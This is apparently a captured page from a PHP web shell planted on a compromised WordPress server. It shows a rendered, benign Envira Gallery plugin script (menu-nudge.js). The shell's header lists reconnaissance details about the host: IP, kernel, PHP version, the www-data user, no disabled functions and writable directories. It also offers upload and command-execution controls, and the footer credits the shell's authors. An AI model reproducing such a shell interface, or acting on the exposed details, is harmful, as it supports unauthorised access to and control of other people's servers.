403Webshell
Server IP : 104.21.74.147  /  Your IP : 216.73.217.154
Web Server : nginx/1.24.0
System : Linux wordpress-sites 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/rebeccaone.com/wp-content/plugins/envira-gallery/assets/js/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/rebeccaone.com/wp-content/plugins/envira-gallery/assets/js/dist/menu-nudge.js
// no conflict jquery wrapper
;(function($) {
    var $tooltip = $(document.getElementById('envira-admin-menu-tooltip'));
    var $menuwrapper = $(document.getElementById('adminmenuwrap'));
    var $menuitem = $(document.querySelector('.menu-icon-envira'));

    if (0 === $menuitem.length) {
        return;
    }

    if ($menuitem.length) {
        $menuitem.append($tooltip);
    }

    $tooltip.css({
        top: -1 * $tooltip.innerHeight() / 2 + 'px'
    });

    $('#envira-admin-menu-launch-tooltip-button').click(function (e) {
        e.preventDefault();
        $('#envira-admin-menu-tooltip').hide();
        $.ajax({
          url: ajaxurl,
          type: 'POST',
          data: {
            action: 'envira_redirect_to_add_new_gallery',
          },
          success: function (response) {
            if (response.success) {
              let redirectUrl = new URL(response.data.redirect_url);
              redirectUrl.searchParams.append('hideTooltip', 'true');
              window.location.href = redirectUrl.toString();
            } else {
              console.error('Error:', response.data);
            }
          },
          error: function (xhr, status, error) {
            console.error('AJAX request failed:', status, error);
          }
        });
    });

    $('.envira-admin-menu-tooltip-close').on('click', function (e) {
        e.preventDefault();
        $(this).parent().parent().hide();
        $.ajax({
            url: ajaxurl,
            type: 'POST',
            data: {
                action: 'envira_hide_admin_menu_tooltip',
                nonce:  envira_menu_nudge.hide_tooltip_nonce,
            }
        });
    });

  const urlParams = new URLSearchParams(window.location.search);
  if (urlParams.get('hideTooltip') === 'true' || urlParams.get('post_type') === 'envira') {
    $('#envira-admin-menu-tooltip').hide();
    $('.menu-icon-envira .wp-submenu-wrap').css('display', 'block');
  }

  if ((urlParams.get('post_type') === 'envira' && urlParams.get('page') === 'envira-gallery-settings') || (urlParams.get('post_type') === 'envira' && urlParams.get('page') === 'envira-gallery-addons') || (urlParams.get('post_type') === 'envira' && urlParams.get('page') === 'envira-gallery-get-started') || (urlParams.get('post_type') === 'envira' && urlParams.get('page') === 'envira-gallery-tools' )) {
    $('#envira-admin-menu-tooltip').show();
  }
})(jQuery);

Youez - 2016 - github.com/yon3zu
LinuXploit